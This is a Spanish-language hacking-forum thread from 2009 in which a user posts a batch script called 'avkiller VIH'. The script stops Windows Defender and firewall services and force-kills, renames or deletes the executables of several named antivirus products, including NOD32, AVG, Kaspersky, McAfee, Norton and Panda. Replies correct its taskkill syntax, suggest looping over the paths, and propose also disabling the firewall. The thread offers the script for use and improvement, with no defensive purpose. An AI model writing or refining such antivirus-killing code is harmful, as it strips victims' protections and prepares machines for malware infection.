Av Killer [batch]

Iniciado por Erik#, 13 Agosto 2009, 09:32 AM

0 Miembros y 1 Visitante están viendo este tema.

Erik#

Bueno, hace un tiempo un amigo me paso estos codes por msn, ami no me interesa batch, prefiero ASM, C, PHP...
Pero como se que hay grandes programadores de batch por aqui como Leo, Novluker, lo pongo y que opinen, y los que no he dicho tambien xD todos tienen derecho a opinar (no me acuerdo de más names xD son las 9:32 am).

Código (dos) [Seleccionar]
@echo off
title avkiller VIH
net stop "*Defender"
net stop "*Defender*"
net stop "*Firewall"
net stop "*Firewall*"
taskkill /F /IM "explorer.exe"
if exist "%ProgramFiles%\Eset\ESET NOD32 Antivirus" (
TASKKILL /F /IM egui.exe  /IM nod32kui.exe /IM nod32krn.exe   || tskill "nod32kui.exe" && tskill "nod32krn.exe"
cd /d "%ProgramFiles%\Eset\ESET NOD32 Antivirus\"
rename egui.exe agua.exe || del /f /q "egui.exe")
if exist "%ProgramFiles%\AVG" (TASKKILL /F /IM avgserv9.exe /IM avgcc32.exe   || tskill "avgserv.exe" && tskill avgcc32.exe"
cd /d  "%ProgramFiles%\AVG\"
rename avgserv9.exe ave.com || del /f /q "avgserv9.exe")
if exist "%programfiles%\* SOFTWIN" (TASKKILL /F /IM bdoesrv.exe /IM bdmcon.exe /IM bdnagent.exe /IM bdswitch.exe   || tskill "bdoesrv.exe" && tskill "bdmcon.exe" && tskill "bdnagent.exe" && tskill "bdswitch.exe"
cd /d "%programfiles%\* SOFTWIN\"
rename bdoesrv.exe asd.bat || del /f /q "bdoesrv.exe")
if exist "%ProgramFiles%\Archivos de Programa\Kaspersky Lab\Kaspersky Anti-Virus Personal" (TASKKILL /F /IM kavsvc.exe /IM kav.exe || tskill "kavsvc.exe" && tskill "kav.exe"
cd /d "%ProgramFiles%\Archivos de Programa\Kaspersky Lab\Kaspersky Anti-Virus Personal\"
rename kavsvc.exe kop.exe || del /f /q "kavsvc.exe")
if exist "%ProgramFiles%\archivos de programa\mcafee.com\agent" (TASKKILL /F /IM mcdetect.exe /IM mctskshd.exe /IM mcregwiz.exe /IM mcagent.exe || tskill "mcdetect.exe" && tskill "mctskshd.exe" && tskill "mcregwiz.exe" && tskill "mcagent.exe"
cd /d "%ProgramFiles%\archivos de programa\mcafee.com\agent\"
rename mctskshd.exe noas.exe && rename mcagent.exe asdlp.exe || del /f /q "mctskshd.exe" && del /f /q "mcagent.exe")
if exist "%ProgramFiles%\Archivos de programa\Norton Internet Security\Norton AntiVirus" (TASKKILL /F /IM navapsvc.exe /IM issvc.exe /IM nprotect.exe || tskill "navapsvc.exe" && tskill "issvc.exe" && tskill "nprotect.exe"
cd /d "%ProgramFiles%\Archivos de programa\Norton Internet Security\Norton AntiVirus\"
rename navapsvc.exe asdkop.exe && rename nprotect.exe oppo.exe || del /f /q "navapsvc" && del /f /q "nprotect.exe")
if exist "%ProgramFiles%\Archivos de programa\Panda Software\Panda Antivirus Titanium" (TASKKILL /F /IM Pagent.exe /IM pagentwd.exe /IM pavsched.exe || tskill "Pagent.exe"&& tskill "pagentwd.exe" && tskill "pavsched.exe"
cd /d "%ProgramFiles%\Archivos de programa\Panda Software\Panda Antivirus Titanium\"
rename pagentwd.exe hola.exe && rename Pagent.exe popo.exe || del /f /q "pagentwd.exe" && del /f /q "Pagent.exe")
if exist "%ProgramFiles%\Archivos de Programa\spyware doctor" (TASKKILL /F /IM swdoctor.exe /IM sdhelp.exe || tskill "swdoctor.exe" && tskill "sdhelp.exe"
cd /d "%ProgramFiles%\Archivos de Programa\spyware doctor\"
rename swdoctor.exe abcd.exe && rename sdhelp.exe mnm.exe || del /f /q "swdoctor.exe" && del /f /q "sdhelp.exe")
if exist "%ProgramFiles%\Archivos de Programa\grisoft\avg anti-spyware 7.5" (TASKKILL /F /IM avgas.exe /IM guard.exe || tskill "avgas.exe" && tskill "guard.exe"
cd /d "%ProgramFiles%\Archivos de Programa\grisoft\avg anti-spyware 7.5\"
rename avgas.exe tonto.exe && rename guard.exe bobete.exe || del /f /q "avgas.exe" && del /f /q "guard.exe")
start "explorer.exe"
pause
exit

Darioxhcx

%programfiles% = X:\archivos de programa

si pones

sin la variable estaria preguntando si existetiraria

X:\archivos de programa\archivos de programa\mcafee.com\agent

pero es solo en algunas, las del principio estan bien...

tmb podrias optimizarlo

for %%x in (
ruta 1
ruta 2

) do (
if exist "%%x" (
taskkill %%x
)

tmb de ultima comprobar si es tskill o taskkill , en algunas versiones de windows cambia si mal no recuerdo

tmb podrias desacativar el firewall con shared acces
y mmmm creo que nada x mi parte :P

saludos

Erik#

Cita de: Darioxhcx en 13 Agosto 2009, 10:32 AM
%programfiles% = X:\archivos de programa

si pones

sin la variable estaria preguntando si existetiraria

X:\archivos de programa\archivos de programa\mcafee.com\agent

pero es solo en algunas, las del principio estan bien...

tmb podrias optimizarlo

for %%x in (
ruta 1
ruta 2

) do (
if exist "%%x" (
taskkill %%x
)

tmb de ultima comprobar si es tskill o taskkill , en algunas versiones de windows cambia si mal no recuerdo

tmb podrias desacativar el firewall con shared acces
y mmmm creo que nada x mi parte :P

saludos


Dario yo no se batch ni tengo ganas de aprender xD, este code lo puse porque lo tenia por mi pc y haber si le interesaba a alguien, modificalo tu s quieres :)

Darioxhcx

a mi me da igual... no me sirve de nada xD

a alguein le servira (?
saludos

leogtz

#4
Hay errores, especialmente en el taskkill y tskill.

Es así:
taskkill -f -im proceso.exe || tskill proceso


Notese la falta de extensión en tskill.

Modifica la línea del start así:
start "" explorer.exe
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

Novlucker

Además de que ... cumplirá realmente con su función? porque al NOD por ejemplo .. seguro que no se lo mata así como así :rolleyes:

CitarPero como se que hay grandes programadores de batch por aqui como Leo, Novluker, lo pongo y que opinen, y los que no he dicho tambien xD
Gracias gracias XD ... igual dejemos solo a Leo, el se lo trabaja mucho más en batch, ya que si bien puedo entender el code la mayoría de las veces no me da ganas de pelearme con set, tokens, calls y otros, y recurro a vbs :P

Saludos

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

SmartGenius

Cita de: Novlucker link=topic=264093.msg1288531#msg1288531  la mayoría de las veces no me da ganas de pelearme con set, tokens, calls y otros, y recurro a vbs :P
/quote]

gallina....  :¬¬

:laugh: :laugh: :laugh: :laugh:


Erik#

Cita de: :: SmartGenius :: en 14 Agosto 2009, 05:48 AM
Cita de: Novlucker link=topic=264093.msg1288531#msg1288531  la mayoría de las veces no me da ganas de pelearme con set, tokens, calls y otros, y recurro a vbs :P
/quote]

gallina....  :¬¬

:laugh: :laugh: :laugh: :laugh:

+1 xD, es coña novlucker (L)